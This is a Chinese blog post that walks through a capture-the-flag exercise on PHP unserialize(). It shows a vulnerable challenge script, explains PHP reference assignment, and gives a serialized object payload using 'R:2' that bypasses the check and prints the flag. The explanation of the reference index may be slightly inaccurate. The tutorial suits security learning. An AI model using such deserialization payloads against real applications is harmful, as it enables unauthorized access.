Loading

PHP反序列化基础之引用

例题:

<?php
include("flag.php");
class just4fun {
    var $enter;
    var $secret;
}

if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];
    $pass=str_replace('*','\*',$pass);//将传入的值里面含有*替换为\* 变成一个实体化的字符,
}

$o = unserialize($pass);

if ($o) {
    $o->secret = "*";
    if ($o->secret === $o->enter)//进行强对比,必须完全一样,
                                  //也就是enter=*
        echo "Congratulation! Here is my secret: ".$flag;//最终到达这里
    else
        echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>

正常的解题思路就是:

给enter赋值*;

然后序列化出来字符串,经过反序列化后题目会将secret也会赋值*

然后进行判断是否相等。

但是!题目会对传进来的序列化后的字符串中的*替换为*

再进行判断的时候就会不相等。

这里就要用到一个新的思路:

<?php
class just4fun {
    var $enter;  // 公有属性
    var $secret; // 公有属性
}

$a = new just4fun(); // 创建对象实例
$a->enter =& $a->secret; // 建立引用关系
echo serialize($a); // 序列化对象
?>
  1. 引用赋值 (**=&**):
    • $a->enter =& $a->secret 表示 enter 属性将成为 secret 属性的引用(别名)
    • 修改 $a->enter 会直接影响 $a->secret,反之亦然
  2. 序列化引用:
    • PHP 序列化时会特殊处理引用关系
    • 引用会用 Rr 标记表示

输出结果:
序列化后的字符串会是类似这样的格式:

O:8:"just4fun":2:{s:5:"enter";R:2;s:6:"secret";N;}

其中:

- `R:2` 表示 `enter` 是对当前对象第2个属性(`secret`)的引用
- `secret` 值为 `N`(null),因为尚未赋值

执行流程

1. 创建对象 `$a`,此时: - `$a->enter` = null - `$a->secret` = null 2. 建立引用关系后: - `$a->enter` 和 `$a->secret` 指向同一个存储空间 3. 序列化时: - 检测到引用关系 - 用 `R` 语法保存这种关系
posted @ 2025-04-05 15:11  赟希  阅读(41)  评论(0)    收藏  举报